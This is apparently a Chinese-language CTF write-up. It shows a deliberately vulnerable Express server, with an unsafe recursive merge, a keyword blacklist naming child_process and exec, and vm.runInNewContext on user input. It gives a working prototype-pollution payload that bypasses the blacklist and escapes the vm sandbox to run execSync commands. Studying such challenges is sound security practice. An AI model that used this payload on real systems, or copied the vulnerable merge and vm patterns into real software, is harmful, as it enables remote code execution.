var express = require('express');
var app = express();
var path = require('path');
var http = require('http');
var fs = require('fs');
var crypto = require('crypto');
var multer = require('multer');
const vm = require("vm");
var bodyParser = require('body-parser');
app.use(bodyParser());
app.use(bodyParser.json());
app.use('/uploads', express.static('uploads'))
var lastlogs = {};
function getClientIp(req) {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress;
};
function getSandbox(req){
var ip = getClientIp(req);
//console.log(ip);
var content = ip + 'secret';
var result = crypto.createHash('md5').update(content).digest("hex");
return result
}
function merge(target, source) {
try{
for (let key in source) {
if (typeof source[key] == 'object' && typeof target[key] == 'object' && key in source && key in target) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
catch (e) {
console.log(e);
};
}
function blacklist(data) {
var evilwords = ["proto", "constructor", "this", "global", "process","mainModule","require","root","child_process","exec","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
var trigger = data.includes(evilwords[i]);
if (trigger === true) {
return true;
}
}
return false;
}
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname + '/index.js'));
});
function filterBody(obj){
var s = JSON.stringify(obj);
if(blacklist(s)){
return false;
}
return true;
}
app.get('/calc', function(req, res){
var sandbox = getSandbox(req);
res.json(lastlogs[sandbox]);
});
app.get('/sandbox', function(req, res){
var sandbox = getSandbox(req);
res.end(sandbox);
});
app.post('/calc', function(req, res, next){
try{
var sandbox = getSandbox(req);
var code = req.body.code;
if(code.hasOwnProperty(sandbox) && !filterBody(code[sandbox])){
res.end('forbidden');
}
else{
if(sandbox in code){
var log = {"time":new Date().toString()};
merge(log, code);
lastlogs[sandbox] = log;
const result = vm.runInNewContext(code[sandbox]);
res.end(result);
}
else{
res.end(sandbox);
}
}
}
catch(e){
next(e)
}
});
app.use(function (err, req, res, next) {
console.log(err.stack);
res.status(500).send('Some thing broke!')
})
var server = app.listen(8085, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
就两个路由
一个是sandbox。会输出你的沙盒名
一个是calc。接受json的code。
继续看函数。
存在merge函数。。原型参数污染
存在黑名单检测。并且calc会用VM执行代码。逃逸
大致就这个方向。继续仔细看看代码。主要看calc
app.post('/calc', function(req, res, next){
try{
var sandbox = getSandbox(req);
//我们的沙盒
var code = req.body.code;
//一个json数组。提交{"code":1}。code的值就是1
if(code.hasOwnProperty(sandbox) && !filterBody(code[sandbox])){
//如果有沙盒这个属性名。并且code.沙盒的值不可以过黑名单
res.end('forbidden');
}
else{
//判断沙盒名是否在code中
if(sandbox in code){
var log = {"time":new Date().toString()};
//log={时间}
merge(log, code);
//这里可以将code的属性给log
lastlogs[sandbox] = log;
//lastlogs[沙盒]=log
const result = vm.runInNewContext(code[sandbox]);
//执行(code.沙盒)
res.end(result);
}
else{
res.end(sandbox);
}
}
}
catch(e){
next(e)
}
});
这里目标就是将code的沙盒的值为我们的VM逃逸payload。但是由于黑名单。我们不能这样直接传。
应该还能配合一手原型参数污染。跟着payload看。比较容易
{"code":{"1b8e8ed22326eea36453def591194e48":12,"__proto__":{"1b8e8ed22326eea36453def591194e48":"var process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('ls').toString()"}}}
先传入"1b8e8ed22326eea36453def591194e48":123。绕过filterBody的过滤。然后利用原型参数污染。将payload。赋值给log.__proto__.1b8e8ed22326eea36453def591194e48
也就是Object.1b8e8ed22326eea36453def591194e48
然后由于code确实存在1b8e8ed22326eea36453def591194e48属性。值为123.继续执行
然后执行123。但是此时。Object.1b8e8ed22326eea36453def591194e48已经为我们的VM逃逸payload
{"code":[]}
随便传一个都行。只要__proto__是Object就行
由于原型参数污染。可以过if(sandobx in code)。找不到[]
的1b8e8ed22326eea36453def591194e48属性。就往上找。找Object。然后找到1b8e8ed22326eea36453def591194e48这个属性
然后继续走。
执行code.sandbox中的代码。由于code没1b8e8ed22326eea36453def591194e48这个属性。所以会往上找。找到Object.1b8e8ed22326eea36453def591194e48。然后取出我们的payload。带入执行